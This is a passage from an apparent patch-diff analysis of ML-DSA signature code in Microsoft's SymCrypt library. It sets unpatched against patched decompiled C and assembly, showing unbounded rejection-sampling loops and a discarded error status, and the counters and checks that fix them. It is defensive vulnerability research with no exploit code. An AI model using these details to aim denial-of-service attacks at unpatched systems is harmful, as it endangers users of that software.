&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__int8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v16&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Finding 4: &lt;code&gt;SymCryptMlDsaRejBoundedPoly (sub_18002A06C)&lt;/code&gt; — Unbounded Rejection Loop&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ===== UNPATCHED SymCryptMlDsaRejBoundedPoly (sub_18002A06C) =====&lt;/span&gt;
&lt;span class="c1"&gt;// No sponge-byte counter — only output coefficient count bounded:&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;SymCryptKeccakExtract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v19&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v18&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// squeeze one SHAKE byte&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// ... map nibbles, out-of-range nibbles decode to 0x80 skip&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// -- VULNERABILITY: no limit on sponge bytes consumed --&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x100&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;// only coefficient count bounded&lt;/span&gt;

&lt;span class="c1"&gt;// ===== PATCHED SymCryptMlDsaRejBoundedPoly (sub_180027128) =====&lt;/span&gt;
&lt;span class="c1"&gt;// Sponge-byte counter with limit of 0x1e1 (481):&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1E1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;// -- FIX: byte counter limit --&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;SymCryptKeccakExtract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v19&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v18&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// ... map nibbles&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                   &lt;/span&gt;&lt;span class="c1"&gt;// -- FIX: increment counter --&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LABEL_24&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32776&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                 &lt;/span&gt;&lt;span class="c1"&gt;// -- FIX: 0x8008 SYMCRYPT_EXTERNAL_FAILURE --&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;Finding 1: &lt;code&gt;SymCryptMlDsaExpandS (sub_180029484)&lt;/code&gt; — Ignored Return Value&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Unpatched assembly (vulnerable):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; UNPATCHED SymCryptMlDsaExpandS @ 0x180029484&lt;/span&gt;
&lt;span class="c1"&gt;; s1 loop (head at loc_1800294E9): return value of SymCryptMlDsaRejBoundedPoly discarded&lt;/span&gt;
&lt;span class="err"&gt;0000000180029505&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;SymCryptMlDsaRejBoundedPoly&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; sample one secret polynomial&lt;/span&gt;
&lt;span class="err"&gt;000000018002950&lt;/span&gt;&lt;span class="nf"&gt;A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;inc&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;di&lt;/span&gt;&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="c1"&gt;; advance index; rax (status) never read&lt;/span&gt;
&lt;span class="err"&gt;0000000180029510&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14d&lt;/span&gt;
&lt;span class="err"&gt;0000000180029513&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1800294E9&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; loop regardless of status&lt;/span&gt;
&lt;span class="c1"&gt;; ... s2 loop at loc_180029519 is identical (call at 0x180029539, status discarded) ...&lt;/span&gt;
&lt;span class="err"&gt;0000000180029548&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;span class="err"&gt;000000018002954&lt;/span&gt;&lt;span class="nf"&gt;D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;B8h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_98&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0000000180029552&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;SymCryptWipeAsm&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; cleanup; sampling status is never returned&lt;/span&gt;
&lt;span class="err"&gt;0000000180029575&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;retn&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Patched assembly (fixed):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; PATCHED SymCryptMlDsaExpandS @ 0x18002651C&lt;/span&gt;
&lt;span class="err"&gt;00000001800265&lt;/span&gt;&lt;span class="nf"&gt;A7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;SymCryptMlDsaRejBoundedPoly&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; sample one secret polynomial&lt;/span&gt;
&lt;span class="err"&gt;00000001800265&lt;/span&gt;&lt;span class="nf"&gt;AC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;; FIX: capture status&lt;/span&gt;
&lt;span class="err"&gt;00000001800265&lt;/span&gt;&lt;span class="nf"&gt;AE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001800265&lt;/span&gt;&lt;span class="nf"&gt;B0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1800265FA&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; FIX: break out on error&lt;/span&gt;
&lt;span class="err"&gt;00000001800265&lt;/span&gt;&lt;span class="nf"&gt;B2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;inc&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;bx&lt;/span&gt;
&lt;span class="err"&gt;00000001800265&lt;/span&gt;&lt;span class="nf"&gt;B8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14d&lt;/span&gt;
&lt;span class="err"&gt;00000001800265&lt;/span&gt;&lt;span class="nf"&gt;BB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_18002658B&lt;/span&gt;
&lt;span class="c1"&gt;; ... shared exit at loc_1800265FA ...&lt;/span&gt;
&lt;span class="err"&gt;00000001800265&lt;/span&gt;&lt;span class="nf"&gt;FA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;span class="err"&gt;00000001800265&lt;/span&gt;&lt;span class="nf"&gt;FF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;B8h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_98&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0000000180026604&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;SymCryptWipeAsm&lt;/span&gt;
&lt;span class="err"&gt;0000000180026609&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;; FIX: return captured status&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Key change:&lt;/strong&gt; The patched version adds &lt;code&gt;mov edi, eax&lt;/code&gt; / &lt;code&gt;test eax, eax&lt;/code&gt; / &lt;code&gt;jnz loc_1800265FA&lt;/code&gt; immediately after each &lt;code&gt;SymCryptMlDsaRejBoundedPoly&lt;/code&gt; call, and after the wipe it executes &lt;code&gt;mov eax, edi&lt;/code&gt;, so the captured sampling status becomes the return value instead of the wipe result.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;Finding 3: &lt;code&gt;SymCryptMlDsaSampleInBall (sub_18002A2E8)&lt;/code&gt; — Unbounded Rejection Loop&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Unpatched assembly (vulnerable — abbreviated, showing the critical loop):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; UNPATCHED SymCryptMlDsaSampleInBall @ 0x18002A2E8&lt;/span&gt;
&lt;span class="c1"&gt;; inner rejection loop (head loc_18002A3A6) — no iteration counter&lt;/span&gt;
&lt;span class="err"&gt;000000018002&lt;/span&gt;&lt;span class="nf"&gt;A3A6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;
&lt;span class="err"&gt;000000018002&lt;/span&gt;&lt;span class="nf"&gt;A3A9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;160&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_140&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; buffer for squeezed byte&lt;/span&gt;
&lt;span class="err"&gt;000000018002&lt;/span&gt;&lt;span class="nf"&gt;A3AE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;
&lt;span class="err"&gt;000000018002&lt;/span&gt;&lt;span class="nf"&gt;A3B1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;160&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_130&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; Keccak sponge state&lt;/span&gt;
&lt;span class="err"&gt;000000018002&lt;/span&gt;&lt;span class="nf"&gt;A3B6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;SymCryptKeccakExtract&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; squeeze 1 byte&lt;/span&gt;
&lt;span class="err"&gt;000000018002&lt;/span&gt;&lt;span class="nf"&gt;A3BB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;160&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_140&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; load squeezed byte&lt;/span&gt;
&lt;span class="err"&gt;000000018002&lt;/span&gt;&lt;span class="nf"&gt;A3C0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; byte vs threshold (rbx_1)&lt;/span&gt;
&lt;span class="err"&gt;000000018002&lt;/span&gt;&lt;span class="nf"&gt;A3C2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;ja&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_18002A3A6&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; resample; no counter, can spin forever&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Patched assembly (fixed):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; PATCHED SymCryptMlDsaSampleInBall @ 0x1800273E0&lt;/span&gt;
&lt;span class="err"&gt;000000018002749&lt;/span&gt;&lt;span class="nf"&gt;B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14d&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; FIX: init iteration counter (r14d = 0)&lt;/span&gt;
&lt;span class="err"&gt;000000018002749&lt;/span&gt;&lt;span class="nf"&gt;E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;loc_18002749E&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; inner loop head&lt;/span&gt;
&lt;span class="err"&gt;000000018002749&lt;/span&gt;&lt;span class="nf"&gt;E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;79&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; FIX: iteration limit (121)&lt;/span&gt;
&lt;span class="err"&gt;00000001800274&lt;/span&gt;&lt;span class="nf"&gt;A1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_180027502&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; FIX: overflow -&amp;gt; error path&lt;/span&gt;
&lt;span class="err"&gt;00000001800274&lt;/span&gt;&lt;span class="nf"&gt;A3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;
&lt;span class="err"&gt;00000001800274&lt;/span&gt;&lt;span class="nf"&gt;A6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;160&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_140&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001800274&lt;/span&gt;&lt;span class="nf"&gt;AB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;160&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_130&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001800274&lt;/span&gt;&lt;span class="nf"&gt;B0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001800274&lt;/span&gt;&lt;span class="nf"&gt;B4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;SymCryptKeccakExtract&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; squeeze 1 byte&lt;/span&gt;
&lt;span class="err"&gt;00000001800274&lt;/span&gt;&lt;span class="nf"&gt;B9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;160&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_140&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
